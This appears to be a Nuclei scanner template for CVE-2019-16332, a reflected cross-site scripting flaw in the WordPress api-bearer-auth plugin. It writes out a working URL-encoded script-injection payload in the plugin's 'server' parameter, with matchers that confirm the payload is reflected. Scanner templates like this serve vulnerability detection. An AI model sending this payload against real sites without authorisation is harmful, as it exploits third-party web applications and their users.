38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
id: CVE-2019-16332
|
|
|
|
info:
|
|
name: API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS)
|
|
author: daffainfo
|
|
severity: medium
|
|
description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS.
|
|
reference:
|
|
- https://plugins.trac.wordpress.org/changeset/2152730
|
|
- https://wordpress.org/plugins/api-bearer-auth/#developers
|
|
tags: cve,cve2019,wordpress,xss,wp-plugin,auth
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2019-16332
|
|
cwe-id: CWE-79
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|